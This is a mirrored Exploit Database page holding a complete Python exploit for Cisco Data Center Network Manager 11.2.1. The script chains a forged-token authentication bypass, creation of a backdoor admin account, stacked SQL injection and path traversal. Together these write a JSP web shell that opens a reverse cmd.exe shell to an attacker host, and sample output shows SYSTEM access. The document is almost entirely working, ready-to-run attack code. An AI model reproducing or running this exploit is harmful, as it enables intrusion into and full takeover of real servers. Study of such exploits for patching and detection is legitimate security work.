Cisco Data Center Network Manager 11.2.1 – ‘getVmHostData’ SQL Injection

• Exploit Database
• 40 阅读

• 作者： mr_me
  日期： 2020-02-06
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/48019/

• #!/usr/bin/python
  """
  Cisco Data Center Network Manager HostEnclHandler getVmHostData SQL Injection Remote Code Execution Vulnerability
  
  Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)
  - Release: 11.2(1)
  - Release Date: 18-Jun-2019
  - FileName: dcnm-installer-x64-windows.11.2.1.exe.zip
  - Size: 1619.36 MB (1698022100 bytes)
  - MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5 
  
  Bug 1: CVE-2019-15976 / ZDI-20-008
  Bug 2: CVE-2019-15984 / ZDI-20-060
  
  Example:
  ========
  
  saturn:~ mr_me$ ./poc.py 
  (+) usage: ./poc.py <target> <connectback>
  (+) eg: ./poc.py 192.168.100.122 192.168.100.59:1337
  
  saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.59:1337
  (+) created the account hacker:Hacked123
  (+) created the 1337/custom path!
  (+) leaked vfs! temp230cf31722794196/content-ed98b5003b1c695c
  (+) SQL Injection working!
  (+) wrote the si.jsp shell!
  (+) cleaned up the database!
  (+) starting handler on port 1337
  (+) connection from 192.168.100.122
  (+) pop thy shell!
  Microsoft Windows [Version 6.3.9600]
  (c) 2013 Microsoft Corporation. All rights reserved.
  
  C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami
  whoami
  nt authority\system
  
  C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>
  
  Clean Up:
  =========
  
  1. delete from xmlDocs where user_name = '1337';
  2. delete si.jsp from the web root
  3. delete the folder and its contents: C:/Program Files/Cisco Systems/dcm/fm/reports/1337
  """
  
  import re
  import md5
  import sys
  import time
  import socket
  import base64
  import requests
  import telnetlib
  from threading import Thread
  from xml.etree import ElementTree
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  
  def _get_jsp(cbh, cbp):
  """ get me some jsp for a connectback! """
  jsp = """
  <%%@page import="java.lang.*"%%>
  <%%@page import="java.util.*"%%>
  <%%@page import="java.io.*"%%>
  <%%@page import="java.net.*"%%>
  
  <%%
  // clean up
  String[] files = {
  "C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/si.xml", 
  "C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/",
  "C:/Program Files/Cisco Systems/dcm/fm/reports/1337/",
  };
  for (String s:files){ File f = new File(s); f.delete(); }
  File f = new File(application.getRealPath("/" + this.getClass().getSimpleName().replaceFirst("_",".")));
  f.delete();
  class StreamConnector extends Thread
  {
  InputStream we;
  OutputStream uo;
  
  StreamConnector( InputStream we, OutputStream uo )
  {
  this.we = we;
  this.uo = uo;
  }
  
  public void run()
  {
  BufferedReader dy= null;
  BufferedWriter zvi = null;
  try
  {
  dy= new BufferedReader( new InputStreamReader( this.we ) );
  zvi = new BufferedWriter( new OutputStreamWriter( this.uo ) );
  char buffer[] = new char[8192];
  int length;
  while( ( length = dy.read( buffer, 0, buffer.length ) ) > 0 )
  {
  zvi.write( buffer, 0, length );
  zvi.flush();
  }
  } catch( Exception e ){}
  try
  {
  if( dy != null )
  dy.close();
  if( zvi != null )
  zvi.close();
  } catch( Exception e ){}
  }
  }
  
  try
  {
  String ShellPath;
  ShellPath = new String("cmd.exe");
  Socket socket = new Socket( "%s", %s);
  Process process = Runtime.getRuntime().exec( ShellPath );
  ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
  ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
  %%>
  """ % (cbh, cbp)
  return jsp
  
  def get_session(target, user, password):
  """ we have bypassed auth at this point and created an admin """
  d = {
  "j_username" : user,
  "j_password" : password
  }
  uri = "https://%s/j_spring_security_check" % target
  r = requests.post(uri, data=d, verify=False, allow_redirects=False)
  if "Set-Cookie" in r.headers:
  match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,4}:.{44});", r.headers["Set-Cookie"])
  if match:
  sessionid = match.group(1)
  resttoken = match.group(2)
  return { "JSESSIONID" : sessionid, "resttoken": resttoken}
  return False
  
  def craft_soap_header():
  soap_header= '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
  soap_header += '<m:ssoToken xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:ssoToken>' % gen_ssotoken()
  soap_header += '\t</SOAP-ENV:Header>'
  return soap_header
  
  def we_can_trigger_folder_path_creation(target):
  """ craft the path location and db entry for the traversal """
  soap_body= '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
  soap_body += craft_soap_header()
  soap_body += '\t<soapenv:Body>'
  soap_body += '\t\t<ep:saveReportTemplate>'
  soap_body += '\t\t\t<reportTemplateName>si</reportTemplateName>'
  soap_body += '\t\t\t<userName>1337</userName>'
  soap_body += '\t\t\t<updatedAttrs></updatedAttrs>'
  soap_body += '\t\t\t<pmInterval>1337</pmInterval>'
  soap_body += '\t\t</ep:saveReportTemplate>'
  soap_body += '\t</soapenv:Body>'
  soap_body += '</soapenv:Envelope>'
  uri = "https://%s/ReportWSService/ReportWS" % target
  r = requests.post(uri, data=soap_body, verify=False)
  if r.status_code == 200:
  return True
  return False
  
  def we_can_trigger_second_order_write(target, shellpath):
  """ trigger the traversal """
  soap_body= '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
  soap_body += craft_soap_header()
  soap_body += '\t<soapenv:Body>'
  soap_body += '\t\t<ep:openReportTemplate>'
  soap_body += '\t\t\t<reportTemplateName>%s</reportTemplateName>' % shellpath
  soap_body += '\t\t\t<userName>1337</userName>'
  soap_body += '\t\t</ep:openReportTemplate>'
  soap_body += '\t</soapenv:Body>'
  soap_body += '</soapenv:Envelope>'
  uri = "https://%s/ReportWSService/ReportWS" % target
  r = requests.post(uri, data=soap_body, verify=False)
  if r.status_code == 200:
  return True
  return False
  
  def gen_ssotoken():
  """ auth bypass """
  timestamp = 9999999999999# we live forever
  username = "hax" # doesnt even need to exist!
  sessionid = 1337 # doesnt even need to exist!
  d = "%s%d%dPOsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" % (username, sessionid, timestamp)
  return "%d.%d.%s.%s" % (sessionid, timestamp, base64.b64encode(md5.new(d).digest()), username)
  
  def we_can_trigger_sql_injection(target, sql):
  """ stacked sqli primitive """
  sqli = ";%s--" % sql
  soap_body= '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
  soap_body += craft_soap_header()
  soap_body += '\t<soapenv:Body>'
  soap_body += '\t\t<ep:getVmHostData>'
  soap_body += '\t\t\t<arg0>'
  soap_body += '\t\t\t\t<sortField>vcluster</sortField>'
  soap_body += '\t\t\t\t<sortType>%s</sortType>' % sqli
  soap_body += '\t\t\t</arg0>'
  soap_body += '\t\t\t<arg1></arg1>'
  soap_body += '\t\t\t<arg2></arg2>'
  soap_body += '\t\t\t<arg3>false</arg3>'
  soap_body += '\t\t</ep:getVmHostData>'
  soap_body += '\t</soapenv:Body>'
  soap_body += '</soapenv:Envelope>'
  uri = "https://%s/DbInventoryWSService/DbInventoryWS" % target
  r = requests.post(uri, data=soap_body, verify=False)
  if r.status_code == 200:
  return True
  return False
  
  def we_can_leak_vfs(target):
  """ we use a information disclosure for the vfs path """
  global vfs
  uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
  c = requests.auth.HTTPBasicAuth('admin', 'nbv_12345')
  r = requests.get(uri, verify=False, auth=c)
  match = re.search(r"temp\\(.{21}content-.{15,16})", r.text)
  if match:
  vfs = str(match.group(1).replace("\\","/"))
  return True
  return False
  
  def handler(lp):
  """ this is the client handler, to catch the connectback """
  print "(+) starting handler on port %d" % lp
  t = telnetlib.Telnet()
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.bind(("0.0.0.0", lp))
  s.listen(1)
  conn, addr = s.accept()
  print"(+) connection from %s" % addr[0]
  t.sock = conn
  print "(+) pop thy shell!"
  t.interact()
  
  def exec_code(t, usr, pwd, cbp):
  """ this function threads the client handler and sends off the attacking payload """
  handlerthr = Thread(target=handler, args=(int(cbp),))
  handlerthr.start()
  r = requests.get("https://%s/si.jsp" % t, cookies=get_session(t, usr, pwd), verify=False)
  
  def we_can_add_user(target, usr, pwd):
  """ add a user so that we can reach our backdoor! """
  soap_body= '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
  soap_body += craft_soap_header()
  soap_body += '\t<soapenv:Body>'
  soap_body += '\t\t<ep:addUser>'
  soap_body += '\t\t\t<userName>%s</userName>' % usr
  soap_body += '\t\t\t<password>%s</password>' % pwd
  soap_body += '\t\t\t<roleName>global-admin</roleName>'
  soap_body += '\t\t\t<enablePwdExpiration>false</enablePwdExpiration>'
  soap_body += '\t\t</ep:addUser>'
  soap_body += '\t</soapenv:Body>'
  soap_body += '</soapenv:Envelope>'
  uri = "https://%s/DbAdminWSService/DbAdminWS" % target
  r = requests.post(uri, data=soap_body, verify=False)
  tree = ElementTree.fromstring(r.content)
  for elem in tree.iter():
  if elem.tag == "resultMessage":
  res = elem.text
  if res == "Success":
  return True
  elif res == "User already exists.":
  return True
  return False
  
  def main():
  
  usr = "hacker"
  pwd = "Hacked123"
  
  if len(sys.argv) != 3:
  print "(+) usage: %s <target> <connectback>" % sys.argv[0]
  print "(+) eg: %s 192.168.100.122 192.168.100.59:1337" % sys.argv[0]
  sys.exit(1)
  
  t = sys.argv[1]
  c = sys.argv[2]
  
  cbh = c.split(":")[0]
  cbp = c.split(":")[1]
  sc = _get_jsp(cbh, cbp).encode("hex")
  
  # stage 1 - add a user
  if we_can_add_user(t, usr, pwd):
  print "(+) created the account %s:%s" % (usr, pwd)
  
  # stage 2 - trigger folder creation and db entry
  if we_can_trigger_folder_path_creation(t):
  print "(+) created the 1337/custom path!"
  
  # stage 3 - leak the vfs path (not really required I suppose)
  if we_can_leak_vfs(t):
  print "(+) leaked vfs! %s" % vfs
  
  # stage 4 - trigger the sql injection to update our template entry
  sp = "../../../../wildfly-10.1.0.Final/standalone/tmp/vfs/temp/%s/si.jsp" % vfs
  sql = "update xmldocs set document_name='%s',content=decode('%s','hex') where user_name='1337';" % (sp, sc)
  if we_can_trigger_sql_injection(t, sql):
  print "(+) SQL Injection working!"
  
  # stage 5 - trigger the shell write
  if we_can_trigger_second_order_write(t, sp):
  print "(+) wrote the si.jsp shell!"
  
  # stage 6 - cleanup
  sql = "delete from xmldocs where user_name='1337';"
  if we_can_trigger_sql_injection(t, sql):
  print "(+) cleaned up the database!"
  
  # stage 7 - go get some rce
  exec_code(t, usr, pwd, cbp)
  
  if __name__ == "__main__":
  main()